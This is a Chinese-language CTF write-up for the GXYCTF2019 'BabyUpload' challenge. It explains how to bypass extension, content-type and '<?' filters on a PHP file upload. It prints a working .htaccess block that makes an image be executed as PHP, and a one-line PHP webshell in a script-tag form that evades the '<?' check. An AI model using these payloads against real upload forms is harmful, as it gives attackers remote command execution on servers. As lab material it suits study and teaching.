[GXYCTF2019]BabyUpload

0x00 题目介绍


image-20210324151953518


参考网址:https://buuoj.cn/challenges#[GXYCTF2019]BabyUpload


0x01 上传检测

文件扩展名检测:后缀名不能包含ph,大小写均不可。

文件类型检测:content-type 只能是 image/jpeg

文件内容检测:过滤<?


0x02 详细思路

1.抓到上传包

image-20210324151859910


2.重放包,发现不止后缀名检测,这里还有文件类型检测。

image-20210324152122806


3.Content-type 修改为image/jpeg,继续重放包,发现上传成功。

image-20210324152756880

但是只上传jpg格式远不能达到目的,这里通过burp爆破来获得可上传的后缀名!

image-20210324161545833

我们发现.htaccess文件是可以成功上传的。

image-20210324153439149


4.可利用.htaccess进行解析,先上传.htaccess文件,再上传jpg文件,将shell.jpg解析为php文件,下面就是对映解析代码!

<FilesMatch "shell.jpg">

 SetHandler application/x-httpd-php

</FilesMatch>

image-20210324154733415


5.上传shell.jpg,添加PHP一句话木马,发现这里好像对<?进行了过滤。

image-20210324155216838


6.使用js编写一句话进行绕过 <? 检测,得到上传地址。

<script language='php'>assert($_REQUEST['cmd'])</script>

image-20210324155347889


7.之后,使用webshell连接工具,或者使用show_source()函数,即可得到flag!

image-20210324160152207


0x03 参考链接


BUUCTF

FUZZ字典

PHP一句话木马之小马

today is not tomorrow
原文地址:https://www.cnblogs.com/PsgQ/p/14573972.html